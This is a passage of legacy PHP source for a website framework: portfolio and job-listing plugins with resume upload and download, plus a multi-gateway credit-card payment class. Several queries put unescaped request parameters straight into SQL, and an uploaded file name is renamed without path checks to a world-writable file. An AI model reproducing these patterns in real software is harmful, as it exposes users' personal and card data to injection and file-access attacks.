$this->module->plugins["modules"]->SetSeo($cat); $this->module->plugins["modules"]->SetSeo($this->tpl_module); $return = CTemplateStatic::Replace( $this->private->templates["landing"]->BlockReplace( "Main", array( "categories" => $this->module->plugins["common"]->Categories( $this->ProcessCats($cats), $_GET["cat"], $this->tpl_module["settings"]["set_categories_type"] ), "content" => $base->html->Table( $this->private->templates["landing"], "Items", $items["records"] ), "paging"=> $this->module->plugins["paging"]->Paging( $items["pages"] , $items["page"], array( "first" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . $cat["cat_url"] . "/"), "all" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . $cat["cat_url"] . "/{PAGE}/") , ), array( "ipp" => $items["ipp"], "total" => $items["count"] ) ), "header" => $cat["cat_description"] ? $this->private->templates["landing"]->blockReplace( "Header", $cat ) : "", "comments" => $this->module->plugins["comments"]->Comments( $this->tpl_module["mod_url"] . "/" . $cat["cat_url"]. "/", $this->tpl_module["settings"]["set_fbcomments"] ), "class" => $classes[$this->tpl_module["settings"]["set_items_column"]], ) ), $cat ); return CTemplateStatic::Replace( $return , $this->tpl_module["settings"] ); } /** * description * * @param * * @return * * @access */ function ProcessCats($cats) { if (is_Array($cats)) { //if i have just one category do not show a thing if (count($cats) == 1) { return ""; } foreach ($cats as $key => $val) { $cats[$key]["link"] = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . $val["cat_url"] . "/"); } return $cats; } } function GetCategories() { $cats = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:portfolio_cats']} WHERE module_id={$this->tpl_module[mod_id]} ORDER BY cat_order" ); return $cats; } function GetRecords($cat) { if (!is_array($cat)) { return ""; } $count = $this->tpl_module["settings"]["set_items"]; $page = $_GET["page"]; $item_count = $this->db->RowCount( $this->tables['plugin:portfolio_projects'], "WHERE module_id={$this->tpl_module[mod_id]} AND project_cat={$cat[cat_id]}" ); $page = $_GET["page"]; if (!$page && $item_count) { $page = 1; } else $page = (int)$page; $items = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:portfolio_cats']} as c, {$this->tables['plugin:portfolio_projects']} WHERE c.module_id={$this->tpl_module[mod_id]} AND project_cat={$cat[cat_id]} AND cat_id=project_cat ORDER BY project_order ASC " . "LIMIT " . ( max(0,($page - 1 ) * $count )) . " , " . $count ); if (is_Array($items)) { foreach ($items as $key => $val) { $items[$key]["link"] = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . $val["cat_url"] . "/" . $val["project_url"] . "-" . $val["project_id"] . "/"); } } return array( "records" => $items, "count" => $item_count , "pages" => $item_count ? ceil($item_count / $count) : 1, "page" => $page, "ipp" => $count, ); } function Details() { global $base; $project = $this->db->QFetchArray( "SELECT * FROM {$this->tables['plugin:portfolio_cats']} as c, {$this->tables['plugin:portfolio_projects']} WHERE c.module_id={$this->tpl_module[mod_id]} AND project_id={$_GET[item]} AND cat_id=project_cat " ); if (!is_array($project)) { $this->module->plugins["common"]->Redirect404(); } $items = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:portfolio_items']} WHERE item_project={$project[project_id]} ORDER BY item_order ASC " ); if (is_array($items)) { foreach ($items as $key => $val) { switch ($val["item_type"]) { case "1": $items[$key]["link"] = "upload/portfolio/{$val[item_id]}.jpg"; break; case "2": $items[$key]["link"] = "upload/portfolio/{$val[item_id]}.mp4"; break; case "4": $items[$key]["link"] = $val["item_youtube"]; break; } } } $project["images"] = $base->html->Table( $this->private->templates["details"], "Items", $items ); $project["comments"] = $this->module->plugins["comments"]->Comments( $this->tpl_module["mod_url"] . "/" . $project["cat_url"] . "/" . $project["project_url"] . "-" . $project["project_id"] . "/", $this->tpl_module["settings"]["set_fbcomments"] ); $project["back_link"] = $this->module->plugins["modules"]->PrepareLink( $this->tpl_module["mod_url"] . "/" . $project["cat_url"] . "/" ); $project["link"] = $project["project_link"] ? $this->private->templates["details"]->BlockReplace("Link" , $project ) : ""; $return = $this->private->templates["details"]->blockReplace( "Main", $project ); return CTemplateStatic::REplace( $return, $this->tpl_module["settings"] ); } function GetAllLinks($module , $links) { } } ?>``` site.jobs.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallJobs extends CPlugin{ var $tplvars; function COXYMallJobs() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if (strstr($_GET["sub"] , "oxymall.plugin.jobs.")) { $sub = str_replace("oxymall.plugin.jobs." , "" ,$_GET["sub"]); $action = $_GET["action"]; $this->__init(); $this->tpl_module = $this->module->plugins["modules"]->LoadModuleInfo(); switch ($sub) { case "landing": return $this->Listing(); break; case "item": return $this->Details(); break; case "ajax.send": return $this->AjaxSend(); break; case "download": return $this->DownloadResume(); break; } } } function __init() { global $_CONF; if ($this->__inited) { return ""; } $this->__inited = true; $path = $this->tpl_path; $templates = array( "landing" => "landing.htm", "details" => "details.htm", "fields" => "fields.htm", ); foreach ($templates as $key => $val) { $this->private->templates[$key] = new CTemplateDynamic( $path . $val ); } } /** * description * * @param * * @return * * @access */ function Listing() { global $base , $_CONF; $cats = $this->GetCategories(); //if no category, nothign to show if (!is_array($cats)) { return ""; } //detect the first cat if (!$_GET["cat"]) { $cat = $cats[0]; $_GET["cat"] = $cat["cat_url"]; } else { foreach ($cats as $key => $val) { if ($val["cat_url"] == $_GET["cat"]) { $cat = $val; } } } $cats = $this->ProcessCats($cats); $items = $this->GetRecords($cat); //process the seo $this->module->plugins["modules"]->SetSeo($cat); $this->module->plugins["modules"]->SetSeo($this->tpl_module); return CTemplateStatic::Replace( CTemplateStatic::Replace( $this->private->templates["landing"]->BlockReplace( "Main", array( "categories" => $this->module->plugins["common"]->Categories( $this->ProcessCats($cats), $_GET["cat"], $this->tpl_module["settings"]["set_categories_type"] ), "items" => $base->html->Table( $this->private->templates["landing"], "", $items["records"] ), "paging"=> $this->module->plugins["paging"]->Paging( $items["pages"] , $items["page"], array( "first" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/{$cat[cat_url]}/" ), "all" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/{$cat[cat_url]}/{PAGE}/") , ), array( "ipp" => $items["ipp"], "total" => $items["count"] ) ), "header" => $cat["cat_description"] ? $this->private->templates["landing"]->blockReplace( "Header", $cat ) : "", ) ), $cat ), $this->tpl_module["settings"] ); } function ProcessCats($cats) { if (is_Array($cats)) { //if i have just one category do not show a thing if (count($cats) == 1) { return ""; } foreach ($cats as $key => $val) { $cats[$key]["link"] = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . $val["cat_url"] . "/"); } return $cats; } } function GetCategories() { $cats = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:jobs_cats']} WHERE module_id={$this->tpl_module[mod_id]} ORDER BY cat_order" ); return $cats; } /** * description * * @param * * @return * * @access */ function Details() { global $_CONF , $base; $item = $this->db->QFetchArray( "SELECT * FROM {$this->tables['plugin:jobs_items']},{$this->tables['plugin:jobs_cats']} WHERE item_cat=cat_id AND item_id={$_GET[item]}" ); if (!is_array($item)) { $this->module->plugins["common"]->Redirect404(); } //add the comments $item["comments"] = $this->module->plugins["comments"]->Comments( $this->tpl_module["mod_url"] . "/{$item[cat_url]}/{$item[item_url]}/{$item[item_id]}", $this->tpl_module["settings"]["set_fbcomments"] ); $this->module->plugins["modules"]->SetSeo($item); $this->module->plugins["modules"]->SetSeo($this->tpl_module); //parepare the fields $item["apply"] = $this->applyForm($item); $item["back"] = $this->module->plugins["modules"]->PrepareLink( $this->tpl_module["mod_url"] . "/" . $item["cat_url"] . "/" ); $return = $this->private->templates["details"]->blockReplace( "Details" , $item ); return CTemplateStatic::Replace( $return , $this->tpl_module["settings"] ); } /** * description * * @param * * @return * * @access */ function ApplyForm($item) { global $base; $this->__init(); //prepare the fields $fields = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:jobs_fields']} WHERE module_id={$this->tpl_module[mod_id]} ORDER BY item_order ASC" ); $this->tpl_module["settings"]["set_post_comment"] = nl2br($this->tpl_module["settings"]["set_post_comment"]); if (is_array($fields)) { $cnt = 0; foreach ($fields as $key => $val) { if ($val["item_type"] == "userdroplist") { $tmp = @explode("\n" , $val["item_options"]); foreach ($tmp as $k => $v) { if (trim($v)) { $val["options"] .= "<option>" . trim($v) . "</option>"; } } } if ($val["item_size"] == "small") { if ($cnt == 1) { $val["class"] = " "; } else { $val["class"] = "clear pr12 "; } $cnt = !$cnt; } else { $cnt = 0; $val["class"] = "clear"; } //size $val["size"] = $this->private->templates["fields"]->blockReplace( $val["item_size"] == "small" ? "smallsize" : "bigsize", array() ); $val["field"] = $this->private->templates["fields"]->blockreplace( $val["item_type"], $val ); $fields[$key]["content"] = $this->private->templates["fields"]->blockReplace( $val["item_size"] == "small" ? "Small" : "Big", $val ); } } return CTemplateStatic::Replace( $this->private->templates["fields"]->blockReplace( "Main" , array( "fields" => $base->html->table( $this->private->templates["fields"], "", $fields ), "upload" => $this->private->templates["fields"]->blockReplace( "Upload", array() ), "item_id" => $item["item_id"], ) ), $this->tpl_module["settings"] ); } function GetRecords($cat) { $count = $this->tpl_module["settings"]["set_items"]; $page = $_GET["page"]; $item_count = $this->db->RowCount( $this->tables['plugin:jobs_items'], "WHERE module_id={$this->tpl_module[mod_id]} AND item_cat={$cat[cat_id]} " ); $page = $_GET["page"]; if (!$page && $item_count) { $page = 1; } else $page = (int)$page; $items = $this->db->QFetchRowArray( "SELECT * " . "FROM {$this->tables['plugin:jobs_items']} " . "WHERE module_id={$this->tpl_module[mod_id]} AND item_cat={$cat[cat_id]} " . "ORDER BY item_order ASC " . "LIMIT " . ( max(0,($page - 1 ) * $count )) . " , " . $count ); if (is_Array($items)) { foreach ($items as $key => $val) { $val["item_small_description"] = nl2br($val["item_small_description"]); $items[$key]["brief"] = $val["item_small_description"] ? $this->private->templates["landing"]->blockReplace( "Brief", $val ) : ""; $items[$key]["item_date"] = date($this->tpl_module["settings"]["set_date_format"] , $val["item_date"]); $items[$key]["link"] = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/{$cat[cat_url]}/" . $val["item_url"] . "/" . $val["item_id"] . "/"); } } return array( "records" => $items, "count" => $item_count , "pages" => $item_count ? ceil($item_count / $count) : 1, "page" => $page, "ipp" => $count, ); } function AjaxSend() { global $_CONF , $_SESS; if (!is_array($job = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:jobs_items']} WHERE item_id='{$_POST[job]}'"))) { return $this->module->plugins["common"]->ErrorMSG( "Invalid Job" ); } $_GET["module_id"] = $job["module_id"]; $this->tpl_module = $this->module->plugins["modules"]->LoadModuleInfo(); $fields = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:jobs_fields']} WHERE module_id={$this->tpl_module[mod_id]} ORDER BY item_order ASC" ); if (is_array($fields)) { foreach ($fields as $key => $val) { if ($val["item_required"] && !$_POST[$val["item_field"]]) { return $this->module->plugins["common"]->ErrorMSG( $val["item_error_msg"] ); } } } if ($_POST["image_code"] != $_SESS["XML_verify_key"]) { return $this->module->plugins["common"]->ErrorMSG( $this->tpl_module["settings"]["set_verificationcodeerror"] ); } //save the email to database $id = $this->db->QueryInsert( $this->tables["plugin:jobs_resumes"], $resume = array( "resume_date" => time(), "resume_job" => $job["item_id"], "module_id" => $job["module_id"], "resume_mail" => $_POST["email"], "resume_first_name" => $_POST["first_name"], "resume_last_name" => $_POST["last_name"], "resume_phone" => $_POST["phone"], "resume_note" => CTemplateStatic::Replace( $this->tpl_module["settings"]["set_email_message"], $_POST ), "resume_cv" => $_POST["files"] != "" ? 1 : 0, "resume_cv_file"=> $_POST["files"], "resume_code" => md5(microtime_float()), ) ); $vars = $_POST; //process the image if needed if ($_POST["files"]) { //process the file if (file_exists("upload/userfiles/" . $_POST["files"])) { rename("upload/userfiles/" . $_POST["files"] , "upload/resumes/{$id}.file"); chmod("upload/resumes/{$id}.file" , 0777); } $vars["attachment_link"] = $_CONF["url"]. "resume-download.php?file=" . $resume["resume_code"]; } else $vars["attachment_link"] = ""; $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->tpl_module["settings"]["set_mail_admin"], array_merge( $vars, $job ) ) ); $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->tpl_module["settings"]["set_mail_client"], array_merge( $vars, $job ) ) ); return $this->module->plugins["common"]->SuccessMSG( $this->tpl_module["settings"]["set_text_success"] ); } function DownloadResume() { if (is_array($file = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:jobs_resumes']} WHERE resume_code='{$_GET[file]}'"))) { $mime = new CMime(); $mime->set("unknown"); $mime->FileName($file["resume_cv_file"]); readfile("upload/resumes/{$file[resume_id]}.file"); die(); } else die("Invalid request! "); } function GetAllLinks($module , $links) { } } ?>``` pre.credits.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss author Exp $ description */ global $_SKIN; // dependencies $_TSM["pub.admin.title"] = ".:: Fluxglide Complete HTML5 Website Template - Administration Area ::."; $_TSM["pub.admin.header"] = "Fluxglide Complete HTML5 "; $_TSM["pub.admin.subheader"] = "Website Template"; $_TSM["pub.admin.logo"] = "logo.gif"; $_TSM["pub.admin.copyright"] = "Powered by OXYBase v1.2 build 01062009. ( &copy; 2001-" . date("Y") . " <a href='http://www.oxylusflash.com'>OXYLUS Flash</a> )"; ?>``` pay.php ```<?php /* PHPbase web framework copyright (c) 2003 @authors $Id: pay.php,v 0.0.1 08/08/2003 17:38:21 emanuel Exp $ gateway interafes for payng class */ define ("PAY_AUTORIZE" , 1 ); define ("PAY_CAPTURE" , 2 ); define ("PAY_REFUND" , 3 ); require_once _LIBPATH . "pay.paypal.php"; /** * abstract library class * * @library Library * @author Emanuel [Emanuel Giurgea <office@oxylus.ro>] * @since PHPbase 0.0.1 */ class CPay { /** * unique library identifier * * @var string * * @access private */ var $name; //merchant email; var $merch_email; //acces data var $username; var $password; var $saletype; var $certificate; //credit cart data var $ccnr; var $ccexp; var $ccvv; //prices var $amount; var $tax; var $shipping; var $handling; var $taxexcept; //excepting the tax var $ipaddress; //is logged autmaticaly //have no ideea var $po; //order informations var $orderid; var $orderdescription; //billing user data var $firstname; var $lastname; var $company; var $address1; var $address2; var $city; var $state; var $zip; var $country; var $phone; var $fax; var $email; var $website; //shipping user data var $shipping_firstname; var $shipping_lastname; var $shipping_company; var $shipping_address1; var $shipping_address2; var $shipping_city; var $shipping_state; var $shipping_zip; var $shipping_country; var $shipping_email; var $merchant; //avaible authorize, networkmerchants, planetpayment , quickcommerce , quickcommerce , paypal, plugandpay var $answer; //the decoded answer from merchant array var $rawanswer; //the answer from merchant string var $_aproved; //boolean true if the order was aproved or false if not var $_gwerror; // the reason for rejecting the order; var $_gwerrornr; // the reason for rejecting the order; var $_transid; // transaction id from the merchant var $_authcode; //Transaction Authorization Code var $_test; //enabled if there will be only a test to the merchant; var $url; /** * description * * @param * * @return * * @access */ function SetConnection($url , $port) { if ($url) $this->url = $url; $this->port = $port; } function SetMerchant($merchant) { switch (strtolower($merchant)) { case "networkmerchants": $this->merchant = "networkmerchants"; $this->url = "https://secure.networkmerchants.com/gw/api/transact.php"; $this->port = "443"; break; case "authorize": $this->merchant = "authorize"; $this->url = "https://secure.authorize.net/gateway/transact.dll"; $this->port = "443"; //$this->url = "https://certification.authorize.net/gateway/transact.dll"; break; case "planetpayment": $this->merchant = "planetpayment"; $this->url = "https://secure.planetpayment.com/gateway/transact.dll"; $this->port = "443"; break; case "quickcommerce": $this->merchant = "quickcommerce"; $this->url = "https://secure.quickcommerce.net/gateway/transact.dll"; $this->port = "443"; break; //unfinished at all case "paypal": $this->merchant = "paypal"; $this->url = "https://www.paypal.com/cgi-bin/webscr"; $this->port = "443"; break; //unfinished, error on server response case "linkpoint": $this->merchant = "linkpoint"; $this->url = "https://secure.linkpt.net:1129/LSGSXML"; $this->certificate = "./linkpoint.pem"; $this->port = 1129; $this->host = "secure.linkpt.net"; break; case "eznp": $this->merchant = "eznp"; $this->url = "https://secure.eznp.com/eznp/transaction.php"; break; case "internationalbilling": $this->merchant = "internationalbilling"; $this->url = "http://www.internationalbilling.net/autoSubmitCard.asp"; break; case "swreg": $this->merchant = "sqreg"; $this->url = "https://swreg.org/cgi-bin/c.cgi"; break; case "monetra": $this->merchant = "monetra"; //this is an engine, not a merchant //cheking for their module if (extension_loaded("mcve")) { //setting the certificate MCVE_InitEngine("./CAfile.pem"); //starting the connection $this->conn_id = MCVE_InitConn(); //forcing to ssl connections, the most secure $err = MCVE_SetSSL($this->conn_id, $this->url, $this->port); //blocking mode ( wait until i get answer from merchant ) MCVE_SetBlocking ($this->conn_id , 1); //checking if the method could be created if (!$err) die("MCVE:MODULE:Error creating SSL method"); //estabilishing the connection with server $err = MCVE_Connect($this->conn_id); //cheking if the connection succeded if (!$err) die("MCVE:MODULE:Error connecting to server"); //alocate memoty for a new transaction $this->indentifier = MCVE_TransNew($this->conn_id); } else { //xml method, when they will finish the module } break; } } /** * description * * @param * * @return * * @access */ function EnableTest() { $this->_test = true; switch ($this->merchant) { case "networkmerchants": $this->password = ""; $this->username = "demo"; break; case "authorize": $this->test = true; break; case "linkpoint": //test account $this->url = "https://staging.linkpt.net:1129/LSGSXML"; $this->port = "1129"; $this->host = "staging.linkpt.net"; //oxylus test account // $this->username = "1909100898"; // $this->password = "12345678"; break; case "eznp": $this->username = "DemoMerchant"; $this->password = "demo"; break; } } function SetLogin($user , $password) { $this->username = $user; $this->password = $password; } /** * description * * @param * * @return * * @access */ function SetTransactionKey($key) { $this->_transid = $key; } function SetOrderInfo($id , $description) { $this->orderid = $id; $this->orderdescription = $description; } function SetCertificate($certificate) { if (file_exists($certificate)) $this->certificate = $certificate; } function SetAction($action) { switch ($this->merchant) { case "networkmerchants": $this->saletype = $action; break; case "paypal": $this->saletype = $action; break; case "authorize": case "planetpayment": case "quickcommerce": switch ($action) { case 1: $this->saletype = "AUTH_ONLY"; break; case 2: $this->saletype = "AUTH_CAPTURE"; break; case 3: $this->saletype = "CREDIT"; break; default: $this->saletype = "AUTH_CAPTURE"; break; } break; case "eznp": switch ($action) { default: $this->saletype = "sale";break; } break; } } function SetRecurring($amount , $times) { $this->recurring = array( "action" => "SUBMIT", "installments" => $times, "startdate" => "immediate", "periodicity" => "monthly", "threshold"=>3 ); $this->amount = $amount; } function SetPrices($amount, $tax = 0 , $shipping = 0 , $handling = 0 , $tax_except = 0) { $this->subtotal = $amount ; $this->amount = (float)($amount + $tax + $shipping); //number_format($amount,2,'.',''); $this->tax = $tax;//number_format($tax,2,'.',''); $this->shipping = $shipping;//number_format($shipping,2,'.',''); $this->handling = $handling;//number_format($handling,2,'.',''); $this->tax_except = $tax_except; } function SetCCInfo($nr ,$expm , $expy , $ccvv = "" , $no = 0) { $this->ccnr = $nr; //combined date $this->ccexp = $expm . $expy; //month and year date $this->ccexpm = $expm; $this->ccexpy = $expy; $this->ccvv = $ccvv; $this->po = $no; } function SetBillingInfo( $firstname, $lastname , $company, $address1, $address2 , $city, $state, $zip , $country , $email = "" , $phone = "" , $fax = "" , $site = "") { $this->firstname = $firstname; $this->lastname = $lastname; $this->company = $company; $this->address1 = $address1; $this->address2 = $address2; $this->city = $city; $this->state = $state; $this->zip = $zip; $this->country = $country; $this->email = $email; $this->phone = $phone; $this->fax = $fax; $this->website = $site; } function SetShippingInfo( $firstname, $lastname , $company, $address1, $address2 , $city, $state, $zip , $country , $email = "" , $phone = "" , $fax = "" , $site = "") { $this->shipping_firstname = $firstname; $this->shipping_lastname = $lastname; $this->shipping_company = $company; $this->shipping_address1 = $address1; $this->shipping_address2 = $address2; $this->shipping_city = $city; $this->shipping_state = $state; $this->shipping_zip = $zip; $this->shipping_country = $country; $this->shipping_email = $email; $this->shipping_phone = $phone; $this->shipping_fax = $fax; $this->shipping_website = $site; } /** * description * * @param * * @return * * @access */ function RefundTransID($id) { $this->refund_transid = $id; } function BuildXML ($values , $indent = 0) { $indentstring = "\t"; for ($i = 0; $i < $indent; $i++) $indentstring .= $indentstring; if (is_array($values)) { foreach ($values as $key => $var) { if (is_array($var)) $xml .= $indentstring . "<$key>\n" . $this->BuildXML($var , $indent+1) . $indentstring . "</$key>\n"; else if ($var != "") $xml .= $indentstring . "<$key>$var</$key>\n"; } } return $xml; } function CreateQuestion() { switch ($this->merchant) { case "networkmerchants": $question["username"] = $this->username; $question["password"] = $this->password; $question["saletype"] = $this->saletype; $question["ccnumber"] = $this->ccnr; $question["cvv"] = $this->ccvv; $question["ccexp"] = ($this->ccexpm < 10 ? '0' . $this->ccexpm : $this->ccexpm) . substr($this->ccexpy,0,2); $question["amount"] = number_format($this->amount,2); $question["shipping"] = $this->shipping; $question["tax"] = $this->tax; $question["orderid"] = $this->orderid; $question["orderdescription"] = $this->orderdescription; $question["ponumber"] = $this->po; $question["ipaddress"] = $_SERVER["REMOTE_ADDR"]; $question["firstname"] = $this->firstname; $question["lastname"] = $this->lastname; $question["company"] = $this->company; $question["address1"] = $this->address1; $question["address2"] = $this->address2; $question["city"] = $this->city; $question["state"] = $this->state; $question["zip"] = $this->zip; $question["country"] = $this->country; $question["phone"] = $this->phone; $question["fax"] = $this->fax; $question["email"] = $this->email; $question["website"] = $this->website; $question["shipping_firstname"] = $this->shipping_firstname; $question["shipping_lastname"] = $this->shipping_lastname; $question["shipping_company"] = $this->shipping_company; $question["shipping_address1"] = $this->shipping_address1; $question["shipping_address2"] = $this->shipping_address2; $question["shipping_city"] = $this->shipping_city; $question["shipping_state"] = $this->shipping_state; $question["shipping_zip"] = $this->shipping_zip; $question["shipping_country"] = $this->shipping_country; $question["shipping_email"] = $this->shipping_email; foreach ($question as $key => $value) $q[] = $key . "=" . urlencode($value); return implode ('&' , $q); break; //this 3 merchants has identical fields case "authorize": case "planetpayment": case "quickcommerce": $question["x_login"] = $this->username; $question["x_password"] = $this->password; $question["x_version"] = "3.1"; if ($this->test) $question["x_test_request"] = "TRUE"; //AUTH_CAPTURE, AUTH_ONLY, CAPTURE_ONLY, CREDIT, VOID, PRIOR_AUTH_CAPTURE //indicates the type of transaction. If the value in the field does not match any of the values stated, the transaction will be rejected. //If no value is submitted in this field, the gateway will process the transaction as an AUTH_CAPTURE //$question["saletype"] = $this->saletype; //Character that will be used to separate fields in the transaction response. The system will use the character passed in this field or the value stored in the Merchant Interface if no value is passed. //$question["x_delim_char"] = ","; //temporary added for fightads $question["x_tran_key"] = $this->_transid; $question["x_card_num"] = $this->ccnr; $question["x_card_code"] = $this->ccvv; $question["x_exp_date"] = $this->ccexp; $question["x_amount"] = $this->amount; $question["x_freight"] = $this->shipping; $question["x_tax"] = $this->tax; //Indicates whether the transaction is tax exempt. $question["x_tax_exempt"] = $this->tax_except; $question["x_invoice_num"] = $this->orderid; $question["x_description"] = $this->orderdescription; $question["x_po_num"] = $this->po; $question["x_customer_ip"] = $_server["remote_addr"]; $question["x_first_name"] = $this->firstname; $question["x_last_name"] = $this->lastname; $question["x_company"] = $this->company; $question["x_address"] = $this->address1; $question["x_city"] = $this->city; $question["x_state"] = $this->state; $question["x_zip"] = $this->zip; $question["x_country"] = $this->country; $question["x_phone"] = $this->phone; $question["x_fax"] = $this->fax; $question["x_email"] = $this->email; //mail the email when order completes $question["x_email_customer"] = "FALSE"; //make option about merchant email $question["x_merchant_email"] = $this->merchant_email; $question["x_ship_to_first_name"] = $this->shipping_firstname; $question["x_ship_to_last_name"] = $this->shipping_lastname; $question["x_ship_to_company"] = $this->shipping_company; $question["x_ship_to_address"] = $this->shipping_address1; $question["x_ship_to_city"] = $this->shipping_city; $question["x_ship_to_state"] = $this->shipping_state; $question["x_ship_to_zip"] = $this->shipping_zip; $question["x_ship_to_country"] = $this->shipping_country; $question["x_ship_to_phone"] = $this->shipping_phone; $question["x_ship_to_fax"] = $this->shipping_fax; $question["x_delim_data"] = "TRUE"; $question["x_relay_response"] = "FALSE"; //used only if is a ferunding process $question["x_trans_id"] = $this->refund_transid; foreach ($question as $key => $value) $q[] = $key . "=" . urlencode($value); //debug($q); return implode ('&' , $q); break; case "linkpoint": //orderoptions $xml["order"]["orderoptions"]["ordertype"] = "SALE"; $xml["order"]["orderoptions"]["result"] = "LIVE"; //creditcard $xml["order"]["creditcard"]["cardnumber"] = $this->ccnr; $xml["order"]["creditcard"]["cardexpmonth"] = $this->ccexpm < 10 ? "0" .$this->ccexpm : $this->ccexpm ; $xml["order"]["creditcard"]["cardexpyear"] = strlen($this->ccexpy) == 4 ? substr($this->ccexpy , 2,2) : $this->ccexpy; $xml["order"]["creditcard"]["cvmvalue"] = $this->ccvv; $xml["order"]["creditcard"]["cvmindicator"] = ($this->ccvv ? "provided" : ""); //billing data $xml["order"]["billing"]["name"] = $this->firstname . ($this->lastname ? " " . $this->lastname : ""); $xml["order"]["billing"]["company"] = $this->company; $xml["order"]["billing"]["address1"] = $this->address1; $xml["order"]["billing"]["address2"] = $this->address2; $xml["order"]["billing"]["city"] = $this->city; $xml["order"]["billing"]["state"] = $this->state; $xml["order"]["billing"]["zip"] = $this->zip; $xml["order"]["billing"]["country"] = $this->country; $xml["order"]["billing"]["email"] = $this->email; $xml["order"]["billing"]["phone"] = $this->phone; $xml["order"]["billing"]["fax"] = $this->fax; //shipping data $xml["order"]["shipping"]["name"] = $this->shipping_firstname . " " . $this->shipping_lastname; $xml["order"]["shipping"]["address1"] = $this->shipping_address1; $xml["order"]["shipping"]["address2"] = $this->shipping_address2; $xml["order"]["shipping"]["city"] = $this->shipping_city; $xml["order"]["shipping"]["state"] = $this->shipping_state; $xml["order"]["shipping"]["zip"] = $this->shipping_zip; $xml["order"]["shipping"]["country"] = $this->shipping_country; //transaction details orderid $xml["order"]["transactiondetails"]["oid"] = $this->orderid; $xml["order"]["transactiondetails"]["ponumber"] = $this->po; $xml["order"]["transactiondetails"]["taxexempt"] = "NO"; $xml["order"]["transactiondetails"]["terminaltype"] = "UNSPECIFIED"; $xml["order"]["transactiondetails"]["ip"] = $_SERVER["REMOTE_ADDR"]; $xml["order"]["transactiondetails"]["transactionorigin"] = "ECI"; //merchantinfo $xml["order"]["merchantinfo"]["configfile"] = $this->username; $xml["order"]["merchantinfo"]["keyfile"] = $this->certificate; //payment $xml["order"]["payment"]["chargetotal"] = $this->amount; $xml["order"]["payment"]["tax"] = $this->tax; $xml["order"]["payment"]["vattax"] = $this->vattax; $xml["order"]["payment"]["shipping"] = $this->shipping; $xml["order"]["payment"]["subtotal"] = $this->amount - $this->tax - $this->vattax - $this->shipping; if (is_array($this->recurring)) { $xml["order"]["periodic"] = $this->recurring; $xml["order"]["payment"] = array ("chargetotal" => $this->amount); } $xml = $this->BuildXML ($xml); return $xml; break; case "sqreg": $question["s"] = $this->username; $question["pt"] = 1; //payment type 1-5, find out what everithing means $question["cn"] = $this->ccnr; //card number $question["in"] = $this->ccvv; //issue number, what the hell this could be $question["mm"] = $this->ccexpm; //cc expire month $question["yy"] = $this->ccexpy; //cc expire year //$question["amount"] = $this->amount; //$question["shipping"] = $this->shipping; //$question["tax"] = $this->tax; //making the orderid to be the product id $question["p"] = $this->orderid; //$question["orderdescription"] = $this->orderdescription; //$question["ponumber"] = $this->po; //$question["ipaddress"] = $_SERVER["REMOTE_ADDR"]; $question["fn"] = $this->firstname; $question["sn"] = $this->lastname; $question["co"] = $this->company; $question["a1"] = $this->address1; $question["a2"] = $this->address2; $question["city"] = $this->city; $question["st"] = $this->state; $question["zp"] = $this->zip; $question["ct"] = $this->country; $question["pn"] = $this->phone; $question["em"] = $this->email; $question["dfn"] = $this->shipping_firstname; $question["dsn"] = $this->shipping_lastname; $question["dco"] = $this->shipping_company; $question["da1"] = $this->shipping_address1; $question["da2"] = $this->shipping_address2; //$question["da3"] = $this->shipping_city; $question["dst"] = $this->shipping_state; $question["dzp"] = $this->shipping_zip; $question["dct"] = $this->shipping_country; //ip address $question["ip"] = $_SERVER["REMOTE_ADDR"]; foreach ($question as $key => $value) $q[] = $key . "=" . urlencode($value); return implode ('&' , $q); break; case "eznp": $question["username"] = $this->username; $question["password"] = $this->password; $question["transtype"] = $this->saletype; $question["reference"] = $this->orderid; $question["cardholdername"] = $this->firstname . " " . $this->lastname; $question["address"] = $this->address1 . " " . $this->address2; $question["city"] = $this->city; $question["state"] = $this->state; $question["zip"] = $this->zip; $question["country"] = $this->country; $question["email"] = $this->email; $question["phone"] = $this->phone; $question["ipaddress"] = $_SERVER["SERVER_ADDR"]; $question["amount"] = number_format($this->amount,2); $question["cardnumber"] = $this->ccnr; $question["cardtype"] = $this->cctype; $question["expyear"] = strlen($this->ccexpy) == 4 ? substr($this->ccexpy , 2,2) : $this->ccexpy; $question["expmonth"] = $this->ccexpm; foreach ($question as $key => $value) $q[] = $key . "=" . urlencode($value); return implode ('&' , $q); break; case "internationabilling": /* userID The userID of one of your users cardNumber The credit card number – no spaces cardName The name appearing on the credit card itself cardExpiry The expiry date of the card in either myy or mmyy format cardCVV The CVV number of the card cardStreet The street address of the card holder cardCity The city in which the card holder lives cardState The state in which the card holder lives cardPostcode As above cardCountry As above (full name of country) cardPhone Contact phone number for billing verification cardEmail An email address for the card holder cardAmount 